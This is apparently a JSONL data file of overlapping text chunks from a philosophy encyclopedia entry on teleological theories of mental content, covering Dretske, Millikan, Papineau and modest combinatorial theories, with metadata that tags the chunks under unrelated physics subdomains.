system is performing its proper function, or when conditions are optimal for the proper performance of its function. the content of representations in abstract thought might then, it might be proposed, be derived from their role in perception. not all teleological theories of content are type 1 theories, however. the theory described in the next section is arguably a variant of a type 1 theory but some of the theories described in later sections are not. the following sub - sections describe some key differences among teleological theories. it is not possible to describe all extant theories but some different approaches are sketched, along with a brief review of some of their strengths and weaknesses. general objections to teleological theories are discussed later, in section 4. stampe ( 1977 ) was one of the first philosophers in modern times to suggest a theory of content according to which content is a matter of reliable causes. dretske ' s book, knowledge and the flow of information ( 1981 ) has also been very influential. the theory dretske develops in that book is not a teleological theory of mental content but dretske ( 1986, 1988, 1991 ) later offers a teleo - functional version of indicator - semantics. he begins with a notion of information - carrying, which he calls \u201c indicating \u201d, and suggests that a representation ' s content is what it", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.6073062815511708, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 14, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.832234"} {"text": "something else then it is supposed to indicate it but, since items don ' t always perform their functions, room for error has been made. dretske appears to rely on an etiological analysis of functions ( see e. g., dretske 1995, p. 7 ). he speaks of states acquiring a function to indicate by being selected or recruited for indicating. roughly, dretske suggests that rs represent cs iff rs were recruited for indicating cs and for causing a bodily movement, m. dretske ( 1995, p. 2 ) says, \u201c [ t ] he fundamental idea is that a system, s, represents a property, f, if and only if s has the function of indicating ( providing information about ) the f of a certain domain of objects. the way s performs its function ( when it performs it ) is by occupying different states s1, s2, \u2026 sn corresponding to the different determinate values f1, f2 \u2026 fn, of f. \u201d for example, part of the visual system might represent the orientation of lines in a region of the visual field. if so, it does so because it has the function of carrying information about the orientation of lines in that region and it performs this function ( when it performs it ) by entering into different states when different orientations of lines are present in that region. this account of representation seems to make room for error, because it implies that representations need only indicate their contents during recruitment or in the environment and given the channel conditions in which recruitment took place ; error being possible after that time or in other environments or circumstances. however, dretske ( 1986 ) sees a problem with this suggestion. he illustrates the problem with the case of ocean - dwelling anaerobic bacteria that have tiny magnets ( magnetesomes ) that are attracted to magnetic north, which serve to direct the bacteria downwards into the relatively oxygen - free sediment on the ocean floor. plausibly, the function of the magnetesomes is to direct the bacteria to anaerobic conditions. if we \u201c fool \u201d the bacteria by holding a bar magnet nearby and lead the bacteria upward to their death, this looks like a case of natural misrepresentation. we were, in dretske ' s words, looking for \u201c nature ' s way of making a mistake \u201d and we seem to have found it. the problem, says dretske, is that it is indeterminate how we should describe the function of the magnetesomes. we can", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.6302265903220362, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 16, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.835390"} {"text": "looking for \u201c nature ' s way of making a mistake \u201d and we seem to have found it. the problem, says dretske, is that it is indeterminate how we should describe the function of the magnetesomes. we can plausibly say that they have the function of indicating the oxygen - free sediment. but we can also plausibly say that they have the function of indicating geo - magnetic or even local magnetic north. if we say the latter, no misrepresentation has occurred. so dretske ' s interim conclusion is that we cannot count this as an unambiguous case of error, on his theory as outlined so far. a number of distinct problems go under the name of \u201c the functional indeterminacy problem \u201d ( section 4. 1 ) and the magnetesome example can be used to illustrate several of them. however, dretske ' s response to the indeterminacy problem that he raised suggests that his main concern was with what is known as the problem of distal content. his problem, then, is this. suppose that we have a simple system that has just one way of detecting the presence of some feature of the environment. we have just seen a case of this for the anaerobic bacteria have just one way of detecting anaerobic conditions ( via the local magnetic field ). in such a case, if an inner state indicates the distal feature ( anaerobic conditions ) it will also indicate the more proximal feature ( local magnetic north ). moreover, if there was selection for indicating the distal feature, there will also have been selection for indicating the more proximal feature ( since it is by indicating the latter that it indicates the former ). dretske further points out that, even if a creature has several routes by which it can detect a given distal feature ( e. g., even if the bacteria can detect anaerobic conditions by means of light sensors as well ) there would still be a disjunction of more proximal features that the representation could count as representing, since it could still count as having the function of indicating the disjunction of more proximal features ( i. e., local magnetic north or reduced light ). while we might be perfectly willing to allow that the magnetesomes in anaerobic bacteria do not represent or misrepresent, the problem of distal content generalizes. when you see a chair across the room as a chair across the room, you represent it", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.6192289297334816, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 17, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.836385"} {"text": "perfectly willing to allow that the magnetesomes in anaerobic bacteria do not represent or misrepresent, the problem of distal content generalizes. when you see a chair across the room as a chair across the room, you represent it as a solid 3d object at a distance from you and not as a stream of light reflected from it or as a pattern of firings in your retinas. otherwise you would not try to walk to the chair and sit on it. an informational theory of content must therefore explain how mental representations represent distal features of the world, as opposed to the more proximal items that carry information about those distal features to the representations that represent them. dretske ( 1986 ) therefore modifies his proposal and maintains that a creature that is capable of representing determinate content must be capable of learning any number of new epistemic routes to the same distal feature. in that case, he says, there is no closed disjunction of more proximal stimuli that the representation could count as representing. he speaks of conditioning in this context. the relevant representation is recruited by conditioning to indicate the distal feature rather than the disjunction of more proximal features, because there is no finite time - invariant disjunction of more proximal stimuli that it has the function of indicating. loewer ( 1987 ) points out that conditioning ends at death, at which point no further epistemic routes can be acquired. so, at the death of a creature, there will be a closed disjunction of proximal features that each of the creature ' s representations was recruited to indicate. ( loewer comments that dretske might appeal to epistemic routes that could possibly be acquired by a creature but is unsure if this succeeds. ) the claim that misrepresentation is impossible without learning anyway seems problematic, since it seems to preclude representations produced by innate input systems, such as innate sensory - perceptual systems. some psychologists also claim that some core concepts are innate ( e. g., see carey 2009 ). later, dretske ( 1988 ) drops his conditioning requirement insofar as it is a requirement on content possession but he keeps it as a requirement for the kind of content that can explain behavior. ( for discussion of dretske ' s account of the causal efficacy of content, see the essays in mclaughlin ( 1991 ). ) this re - raises the question of how representations produced by innate input analyzers have distal", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.6154741813868063, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 18, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.837340"} {"text": "content that can explain behavior. ( for discussion of dretske ' s account of the causal efficacy of content, see the essays in mclaughlin ( 1991 ). ) this re - raises the question of how representations produced by innate input analyzers have distal content. dretske ' s strict characterization of indication is thought by some to be troublesome. one reason is that there can be no non - intentional process of selection for something to do z unless that thing, or things of that type at least, did do z. hearts cannot be selected for pumping blood by natural selection unless some hearts pump blood. similarly, no mechanism can be selected for producing rs because they indicate cs unless some rs indicate cs. however, all rs must indicate cs in a region of space - time if any are to do so, given the strict characterization of indication ( for if rs indicate cs in that region, then in that region it must be the case that c being the case, given an r - tokening, has a probability of one ). hence, where and while recruitment continues, rs cannot occur without cs. fodor ( 1990b ) questions whether this requirement would be met or met often enough, given that misrepresentation can occur later. perhaps dretske ' s appeal to channel conditions can help him out of this apparent difficulty. however, specifying channel conditions without being ad hoc or circular or adverting to intentional phenomena ( such as that a perceiver is not distracted ) could prove difficult. there are some hints in dretske ' s writings of a willingness to use a less strict notion of indication for he sometimes speaks of the content of a representation as the \u201c maximally indicated state. \u201d this suggests that there are more minimally indicated states, which would be an oxymoron on the strict interpretation. however, this looser interpretation is not developed in dretske ' s writings and his ( 1981 ) offers several arguments against loosening the requirement. a further argument against indicator - semantics involves the claim that something qualifies as a representation only if it is used as a representation. millikan ( 1989, pp. 84 \u2013 90 ) argues that a representation ' s content must therefore be determined by its use or else something could count as a representation without representing anything, which would be nonsense. the thought seems to be this : if representational status and representational content are determined separately, they could come apart and, if they could came apart, something could count as a representation by satisfying the requirement for representational", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.5960798987036766, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 19, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.838366"} {"text": ", which would be nonsense. the thought seems to be this : if representational status and representational content are determined separately, they could come apart and, if they could came apart, something could count as a representation by satisfying the requirement for representational status, without representing anything in particular by at the same time failing to satisfy the requirement for representational content. however, there are ways to block this conclusion. suppose that dretske is right that something is a representation only if, ( a ) the mechanisms that produce it were in part recruited for producing it because it indicates something and also because ( b ) it plays a certain role ( e. g. ) in causing bodily movements. note that ( a ) concerns production and is also most directly relevant to content determination on dretske ' s theory. note as well that ( b ) concerns use. whether these two requirements are adequate to characterize representational status is debatable. but the point here is that even if millikan is right that representational status is determined by use ( as it is, in part, on dretske ' s proposal ) it does not follow that the the production of representations is irrelevant to determining their content ( as it is not on dretske ' s proposal ). on dretske ' s proposal, the production of a representation determines its content but something does not count as a representation unless it also has a use - related function. millikan ( 2004, ch. 6 ) also argues that no system can have the function to produce states that carry correlational information, even if the correlation need not be one hundred percent reliable. on millikan ' s view, although representation producing systems do produce representations that carry a form of natural information when they function properly, they do not have the function to do so. ( recall that, while hearts produce thumping sounds when they are functioning properly, they do not have the function to produce thumping sounds ; it is a side effect of their proper functioning. ) she points out that it cannot be the function of her visual system to ensure a general correlation between representations of a certain type ( e. g., all reds produced by human visual systems ) and contents of a certain type ( e. g., all red instantiations ). her visual system, for instance, cannot have the function to ensure that your visual system produces reds only in the presence of red. if this objection succeeds, it still leaves open the possibility that an alternative notion of natural information, such as a causal notion,", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.5945124423538724, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 20, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.840596"} {"text": "visual system, for instance, cannot have the function to ensure that your visual system produces reds only in the presence of red. if this objection succeeds, it still leaves open the possibility that an alternative notion of natural information, such as a causal notion, could be used ( as discussed in section 3. 5 ). despite some problems with the detailed articulation of dretske ' s indicator semantics, his central insight seems important and appealing. it is plausible that sensory - perceptual systems have the function to produce representations that carry information and that this bears on their content. an alternative attempt to elaborate this insight is sketched later. millikan ( 1984 ) and papineau ( 1984 ) were the first to offer non - informational, \u201c benefit - based \u201d or \u201c consumer - based, \u201d versions of teleological theories of mental content. millikan ' s theory is described in this section and papineau ' s in the next. millikan ' s view is richly elaborated in her ( 1984 ), her ( 1989 ) provides a compressed version, while her ( 2004, part iv ) is somewhere between the two in terms of detail. at least in her earlier work, millikan ' s theory of content focussed heavily on the \u201c consumers \u201d of representations, where the consumers of representations are the systems that have historically used the mapping between the representations and their contents to perform their ( the consumers ' ) proper functions. in her ( 1989 ) millikan maintains that the production of mental representations is irrelevant to their contents. she has claimed that attention to the consumers is crucial for solving a certain functional indeterminacy problem, a claim to be discussed in section 4. 1. on millikan ' s theory, when the relevant representation is used to communicate between creatures, the producer and the consumer of the representation are different creatures. one of millikan ' s examples is of a beaver splash : the beaver that splashes its tail is the producer of the representation and the consumers are the nearby beavers that dive for cover, having been warned of danger. in the case of internal representations, it is less clear what counts as the producer and consumer. millikan sometimes speaks as if they are different sub - systems and sometimes as if they are different time - slices of the same system, before and after the representation is tokened. in either case, a consumer is a system that normally exploits the mapping between a representation and its represented in the performance of its proper function, where ' normally '", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.6026626371793143, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 21, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.841578"} {"text": "different time - slices of the same system, before and after the representation is tokened. in either case, a consumer is a system that normally exploits the mapping between a representation and its represented in the performance of its proper function, where ' normally ' is understood in a teleological and not a statistical sense. consumers might or might not be cognitive systems ; millikan does not seem to require them to be cognitive systems. consider the often mentioned case of the frog, which responds to anything appropriately small, dark and moving past its retinas by darting out its tongue. in this case, one relevant consumer of the frog ' s sensory - perceptual representation might be the frog ' s digestive system. the performance of its function of feeding the frog depends on and in that sense exploits the mapping between the frog ' s sensory - perceptual representation and its content, which is ( millikan says ) frog food. to find out the content of a representation, says millikan, we look at the functions of its consumers, which are co - adapted with the producing systems. if a consumer system has a function then past systems of the type did something adaptive that contributed to the preservation or proliferation of such systems in the population. ancestral frogs had ancestral digestive systems, for example, and these did things that contributed to the preservation and proliferation of such digestive systems in frogs. it is the explanation of this selection of the consumer system that most nearly concerns the content of the representation, says millikan. to determine the content of a representation, we consider those past occasions on which consumer systems of the type contributed to selection of that type of system and we ask what mapping between the representation and the world was required for this contribution. according to millikan, the frog ' s visual representation represents frog food, since it was only when there was frog food where the frog snapped that the frog was fed and so it was only then that the frog ' s digestive system contributed to the selection of systems of that type through the use of the representation. millikan calls that which must have mapped on to the representation in this way the normal condition for the performance of the proper function of the consumer ( in the normal way ). the normal condition is the content of the representation. an issue worth considering is whether a multiplicity of consumers ( e. g., the frog ' s motor control system employed in orienting toward the stimulus, the digestive system that digests the food, the circulatory system", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.5880322517418413, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 22, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.842857"} {"text": "representation. an issue worth considering is whether a multiplicity of consumers ( e. g., the frog ' s motor control system employed in orienting toward the stimulus, the digestive system that digests the food, the circulatory system that circulates the digested nutrients and so on ) for a given representation will lead to inappropriate content ambiguity. this will depend on whether different consumers have different normal conditions for the use of the same representation. if the normal conditions for the functions of various systems that consume a representation in an individual routinely coincide one might wonder if the normal conditions for the functions of producing systems will also coincide and, if so, why we need to focus on consumers in particular. this might be one reason why, in later writings, millikan does not emphasize the consumer ' s functions over the producer ' s to the same extent. some argue that millikan ' s theory has advantages in comparison with dretske ' s indicator semantics ( see e. g., godfrey - smith 1989 and millikan 2004 ). on millikan ' s theory, a representation, r, can represent some environmental feature, c, even if it was never entirely reliable that if there was an r then there was a c. it is enough, on her theory, that rs mapped on to cs often enough for the representation ' s consumers to have ( so to speak ) benefited from that mapping. there is no need to provide independently specifiable channel conditions or to distinguish between recruitment and post - recruitment environments. it can also be argued that millikan has solved the problem of distal content for innate as well as learned concepts. neither retinal images nor light reflected from prey feed a frog. so it can be argued that the normal condition for the performance of the proper function of the consumer of the frog ' s perceptual representation is frog food, not light reflected from the prey or retinal images. however, whether millikan ' s solution to the problem of distal content survives closer scrutiny is not clear. a solution must exclude inappropriately proximal items, as well as include appropriately distal items. food is included in the content of the frog ' s perceptual representation, on millikan ' s theory, but the issue is whether the proximal items that carry information about the food to the frog are excluded. frog food is of no use to a frog if the frog cannot detect it and a frog can only normally detect its prey if light is reflected from it and", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.6087849209560496, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 23, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.843921"} {"text": "is whether the proximal items that carry information about the food to the frog are excluded. frog food is of no use to a frog if the frog cannot detect it and a frog can only normally detect its prey if light is reflected from it and an appropriate retinal image results. so a worry is whether the normal condition includes the more proximal links in the causal chain as well. millikan considers a related objection to do with omnipresent beneficial background conditions, the prima facie worry being whether her theory excludes them. to stay with the same example, consider that other things besides frog food were required for a contribution to fitness on past occasions when the frog ' s perceptual representation was used ( e. g., oxygen and gravity ). does her theory entail that the frog ' s perceptual representation means, not frog food, but something more like frog food in the presence of oxygen and gravity. millikan excludes such background conditions on the grounds that they do not explain the success of the systems that consume the representation. this entry refers to millikan ' s theory as a \u201c benefit - based \u201d theory, since it links content to the benefit to the creatures ( or to the consuming systems ) that accrues from the use of a representation. that to which a representation refers is not necessarily beneficial ; it might instead be its avoidance that is beneficial ( e. g., the avoidance of danger, in the case of the beaver splash ). while gravity is beneficial, being tied to earth by gravity is not a benefit that accrues to frogs due to the use of their prey - representations. the ingestion of nutritional substances, on the other hand, is something that results from the use of the prey - representations. benefit - based theories need not be consumer - based theories, however, since we could speak of benefits to producing systems or ( when the relevant selection is natural selection operating over an evolutionary span of time ) to the inclusive fitness of the creature as a whole. one objection to millikan ' s normal conditions is that they are overly specific for plausible contents. consider the fact that all sorts of circumstances could prevent a contribution to fitness : for example, an infected fly or a crow standing nearby could spell disease or death instead of nutrition for the frog ( hall, 1990 ). it has been argued that millikan ' s theory has the unintended consequence that the frog ' s representation has the content food that is not infected, when no crow", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5912833484772815, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 24, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.845475"} {"text": "disease or death instead of nutrition for the frog ( hall, 1990 ). it has been argued that millikan ' s theory has the unintended consequence that the frog ' s representation has the content food that is not infected, when no crow is standing by \u2026 etc.. pietroski ( 1992 ) also argues that millikan ' s theory provides implausible intentional explanations. his tale of the kimu is intended to press the point. the kimu are color - blind creatures, until a mutation arises which results in a mechanism that produces a brain state, b, in response to red. those who inherit this mechanism enjoy the sensation, which leads them to climb to the top of the nearest hill every morning ( to see the rising sun or some flowers ). the result is that they avoid the dawn - marauding predators, the snorf, who hunt in the valley below and, solely as a result of this, there is selection for the mutation. as pietroski wants to describe the case, bs have the content red ( or there is some red ) and the kimu enjoy the sight or red and seek out the sight of red things. the point of the story is that millikan ' s theory does not allow the story to be told this way. on her theory, the kimu do not see a visual target as red or desire the sight of red, given that it was not the mapping between bs and red but between bs and snorf - free - space that was crucial for the fitness of the kimu ( and so for the selection of any relevant consumers of the representation ). on millikan ' s theory, bs mean snorf - free - space and there is no representation of red in a kimu ' s brain. pietroski argues that biting the bullet is radically revisionist in this case. behavioral tests, he says, could support his claim. plant a red flag among a crowd of snorf and the kimu will eagerly join them. it is consistent with his story that contemporary kimu might never have seen a snorf and might be unable to recognise one were it stood smack in front of their faces. intuitively, we want to say that they might know nothing of snorf, he says. pietroski suggests that this might be a problem for all teleological theories of content. however, it is more specifically an objection to a benefit - based version ( some other teleological theories of content imply that the kimu represent red, see section", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5790043207935693, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 25, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.847117"} {"text": "content ascriptions are suitable for some theoretical purposes and others for others. one might agree that folk psychological ascriptions of intentional mental states are meant to rationalize behavior but question whether this is their role in cognitive science. in the latter case, the aim is to explain the psychological capacities of humans and ( in the case of cognitive neuroethology ) other creatures. thus a question to ask is what content ascriptions would serve the explanatory purposes of the mind and brain sciences, rather than our folk psychological intuitions. neander ( 2006 ) and schulte ( forthcoming ) argue that benefit - based theories generate the wrong contents for mainstream ( information - processing ) theories of perception in relation to the simple system cases discussed in the philosophy literature. a principle of such mainstream theories is is that, in vision, the invisible properties of objects are only represented after the visible surface features of objects are first represented ( see, e. g., palmer 1999 ). the worry is that benefit - based theories can entail that it is only the invisible but beneficial property that are represented in perception. further afield, shapiro ( 1992 ) discusses the role of content ascriptions in foraging theory, which raises a different set of theoretical considerations. millikan occasionally makes it clear that her theory is intended as a version of an isomorphism theory. according to an isomorphism theory, representation is a matter of mirroring the relations among the elements in the represented domain in the relations among elements in the representing domain. since the relevant resemblances are relational, there is no requirement that representations share properties other than abstract relational properties with their representeds. this makes isomorphism theories more plausible than crude resemblance theories. however, this aspect of millikan ' s theory is not much developed. ( see shea 2012 for discussion of the role of isomorphism in her theory. ) to a large extent, millikan ' s theory has been responsible for the great interest, both positive and negative, that philosophers have shown in this general class of theories. her writings on the topic are extensive and this section has only touched on the basics of her view. a further way in which teleological theories of content can differ is with respect to the contents that they aim to explain. david papineau ' s theory, developed at the same time as millikan ' s, will help illustrate this point. papineau ( 1984, 1987, 1990 and 1993 ) develops a theory that is top - down, or non - combinatorial, ins", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.6256374719784583, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 27, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.849128"} {"text": "s theory, developed at the same time as millikan ' s, will help illustrate this point. papineau ( 1984, 1987, 1990 and 1993 ) develops a theory that is top - down, or non - combinatorial, insofar as the representational states to which his theory most directly applies are whole propositional attitudes ( e. g., beliefs and desires ). in early writings, millikan sometimes seems to hold a similar view and some objections initially raised against her theory are based on this interpretation of her view ( see, e. g., fodor 1990b, 64 \u2013 69, where he raises some of the following points ). in papineau ' s theory, the contents of desires are primary and those of beliefs are secondary in terms of their derivation. according to papineau, a desire ' s \u201c real satisfaction condition \u201d is \u201c \u2026 that effect which it is the desire ' s biological purpose to produce \u201d ( 1993, 58 \u2013 59 ), by which he means that \u201c [ s ] ome past selection mechanism has favored that desire \u2014 or, more precisely, the ability to form that type of desire \u2014 in virtue of that desire producing that effect \u201d ( 1993, 59 ). so desires have the function of causing us, in collaboration with our beliefs, to bring about certain conditions, conditions that enhanced the fitness of people in the past who had these desires. desires, in general, were selected for causing us to bring about conditions that contributed to our fitness, and particular desires were selected for causing us to bring about particular conditions. these conditions are referred to as their satisfaction conditions and they are the contents of desires. the \u201c real truth condition \u201d of a belief, papineau tells us, is the condition that must obtain if the desire with which it collaborates in producing an action is to be satisfied by the condition brought about by that action. a desire that has the function of bringing it about that we have food has the content that we have food, since it was selected for bringing it about that we have food, and if this desire collaborates with a belief to cause us to go to the fridge, the content of the belief is that there is food in the fridge if our desire for food would only be satisfied by our doing so if it is true that there is food in the fridge ( papineau ' s example ). this seems to reject the language of thought hypothesis, according to which thought employs a combinatorial semantics. language is combinatorial to", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.6302009737179944, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 28, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.850091"} {"text": "our doing so if it is true that there is food in the fridge ( papineau ' s example ). this seems to reject the language of thought hypothesis, according to which thought employs a combinatorial semantics. language is combinatorial to the extent that the meaning of a sentence is a function of the meanings of the words in the sentence and their syntactic relations. \u201c rover attacked fluff \u201d has a combinatorial meaning if its meaning is a function of the meaning of \u201c rover \u201d, the meaning of \u201c attacked \u201d and the meaning of \u201c fluff \u201d, along with their syntactic relations ( so that \u201c rover attacked fluff \u201d differs in meaning from \u201c fluff attacked rover \u201d ). according to some philosophers ( see esp. fodor 1975 ) the content of propositional attitudes is combinatorial in an analogous sense. that is, for instance, the content of a belief is a function of the contents of the component concepts employed in the proposition believed, along with their syntactic relations. a teleological theory of content can be combinatorial, for it can maintain that the content of a representation that expresses a proposition is determined by the separate histories of the representations for the conceptual constituents of the proposition ( and, perhaps, by the selection history of the syntactic rules that apply to their syntactic relations ). papineau ' s theory is not combinatorial, at least for some propositional attitudes. instead, the proposal is that the contents of concepts are a function of their role in the beliefs and desires in which they participate. papineau ' s theory is a benefit - based theory, and some issues discussed in the previous sub - section are relevant to an assessment of it. for instance, it is unclear that what we desire is always what is beneficial to fitness. one might want sex, not babies or bonding, and yet it might be the babies and the bonding that are crucial for fitness. however, this section will not attempt an overview of the strengths and weaknesses of this theory but will focus on issues peculiar to non - combinatorial accounts. any non - combinatorial theory must face certain general objections to non - combinatorial theories, such as the objection that it cannot account for the productivity and systematicity of thought ( fodor 1981, 1987 ). this entry will not rehearse that argument ( see the entry on the language of thought hypothesis ) but special problems for a teleological version of a non - combinatorial theory", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.6299275349802105, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 29, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.851033"} {"text": "systematicity of thought ( fodor 1981, 1987 ). this entry will not rehearse that argument ( see the entry on the language of thought hypothesis ) but special problems for a teleological version of a non - combinatorial theory need to be mentioned. consider, for example, the desire to dance around a magnolia tree when the stars are bright, while wearing two carrots for horns and two half cabbages for breasts. probably no - one has wanted to do this. but now suppose that someone does develop this desire ( to prove papineau wrong, say ) so that it is desired for the first time. we cannot characterize the situation in this way, according to a non - combinatorial teleological theory. since it has never been desired before, it has no history of selection and so no content on its first occurrence, on that style of theory. it is also a problem for this kind of theory that some desires do not or cannot contribute to their own satisfaction ( e. g., the desire for rain tomorrow or the desire to be immortal ) and that some desires that do contribute to their own satisfaction will not be selected for doing so ( e. g., the desire to smoke or to kill one ' s children ). in contrast, teleological theories that are combinatorial have no special problem with novel desires, desires that cannot contribute to bringing about their own satisfaction conditions or desires that have satisfaction conditions that do not enhance fitness, as long as their constitutive concepts have appropriate selection histories or are somehow built up from simpler concepts that have appropriate selection histories. papineau can respond by agreeing that some concessions to a combinatorial semantics have to be made. once some desires and beliefs have content, the concepts involved acquire content from their role in these and they can be used to produce further novel, or self - destructive or causally impotent desires. however, it needs to be shown that such a concession is not ad hoc. the problem is to justify the claim that the desire to blow up a plane with a shoe explosive is combinatorial, whereas the belief that there is food in the fridge is not. in contrast to papineau ' s theory, some teleological theories are combinatorial theories. according to these theories, a teleological theory directly accounts for the contents of just the representational simples and combinatorial processes are in addition involved in determining the content of more complex representations. there are two kinds of possible combinatorial processes", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.616294597524066, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 30, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.852000"} {"text": "according to these theories, a teleological theory directly accounts for the contents of just the representational simples and combinatorial processes are in addition involved in determining the content of more complex representations. there are two kinds of possible combinatorial processes that might be involved. one operates at the level of a proposition, or at the level of entire map - like or pictorial representations. this type of combinatorial process is thought to play a role that is roughly analogous to the role of a grammar in a spoken language, or a role that is roughly analogous to the principles of map - formation in cartography or pictorial composition in picturing. for example, it might allow us to combine the concepts cat, on and mat to produce the thought ( belief, desire, etc. ) that the cat is on the mat. a second kind of combinatorial process that might be involved operates at the level of single concepts and their associated conceptions. some think that simpler concepts could be combined in conceptions to formulate more sophisticated concepts or to fix the reference of more sophisticated concepts that remain at roughly the grain of the lexemes of a language. most simply, the concepts male, adult and not married might be combined to form the concept bachelor by means of a definitional conception. or there might be other types of conceptions involved, such as wittgensteinian family resemblance conceptions or prototype - style conceptions. teleological theories can be more or less modest in their scope. a modest theory only aims to directly account for the contents of representational simples. dretske ( 1986 ), expresses a \u201c modest \u201d view when he gives voice to the hope that more sophisticated representations can be built out of the simple sensory - perceptual representations his theory accommodates. however, there is as yet no clear agreement among philosophers or psychologists as to which the representational simples are. one modest view is that a teleological theory should directly apply to sensory - perceptual and motor representations and to innate concepts only ( i. e., those that can be produced without learning ). however, even this needs qualifying, since it is controversial which of our concepts are innate. on a radical nativist view, such as that of fodor ( 1981 ), all or almost all of the concepts expressed by the lexical morphemes ( the smallest meaningful components ) of a language are innate ( not learned, only triggered ). if that were really so, a theory that aimed to account for the", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.6127665547003938, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 31, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.853016"} {"text": ", all or almost all of the concepts expressed by the lexical morphemes ( the smallest meaningful components ) of a language are innate ( not learned, only triggered ). if that were really so, a theory that aimed to account for the contents of all innate concepts would need to be quite ambitious. those who propose genuinely modest teleological theories of content do not hold this view, for they claim that some mental representations that correspond to lexical morphemes are sophisticated, in the sense that they are somehow composed out of or acquired through the use of other representations. sterelny ( 1990 ) describes his teleological theory as \u201c modest \u201d because it only attempts to give an account of innate representations and he assumes these to be a relatively small subset of the complete set of our mental representations. as for giving an account of the human propositional attitudes, sterelny maintains that a teleological theory of content will face \u201c appalling difficulties. \u201d he believes that a teleological theory for the representational simples will be part of the complete psycho - semantic theory but not the whole of it. this contrasts with papineau ' s theory, which most directly applies to propositional attitudes. it also contrasts with millikan ' s ( 1984 ) highly ambitious attempt to directly account, not only for the contents of all mental representations, but also for the meanings of all linguistic utterances via a teleological theory. a modest teleological theory might claim some advantages. most obviously, unless some concepts can be derived from other concepts, teleological theories would seem to have trouble accounting for empty concepts. for example, no unicorns were ever indicated by unicorns, the presence of a unicorn was never a normal condition for the performance of the proper function of a consumer of unicorns, and the desire to find a unicorn has never been satisfied so that the conditions involved in the satisfaction of this desire could not have contributed to selection of the mechanisms that produce desires of the type. this problem is avoided by a teleological theory that aims to directly account for the contents of just the representational simples, on the assumption that no representational simple expresses an empty concept. ( rey ( 2010 ) questions that assumption. ) it is sometimes argued that the lack of unicorns as ( e. g. ) normal conditions is unproblematic since unicorn does not refer ( to anything actual ). arguably, non - modest theories deliver the correct referential content. it is a question whether a theory of referential", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.6066744264090296, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 32, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.854046"} {"text": "unicorns as ( e. g. ) normal conditions is unproblematic since unicorn does not refer ( to anything actual ). arguably, non - modest theories deliver the correct referential content. it is a question whether a theory of referential content needs to determine the extension of a concept in all possible worlds. ( if the reader ' s view is that there are no unicorns in any possible worlds because unicorns are essentially fictional, the reader should here substitute another example of an actually empty but possibly non - empty concept, such as a concept of phlogiston or of entelechies. ) some theories of referential content do and some do not take on this task. the greatest challenge to those offering modest theories will be to explain how complex concepts can be composed out of or derived from simpler concepts. it might fairly be said that it is not the task of a fundamental theory of mental content per se to explain how complex concepts can be composed out of simpler ones, but it is a problem for modest theories if no such explanation is available. moreover, providing such an explanation is generally thought to be problematic. some say that \u201c modest \u201d theories have some seriously immodest consequences. one is alleged to be that there must be a principled analytic / synthetic distinction. see, for instance, fodor and lepore ( 1992 ), who argue that we must choose between three options : defending a principled analytic / synthetic distinction, accepting meaning holism or accepting that virtually no 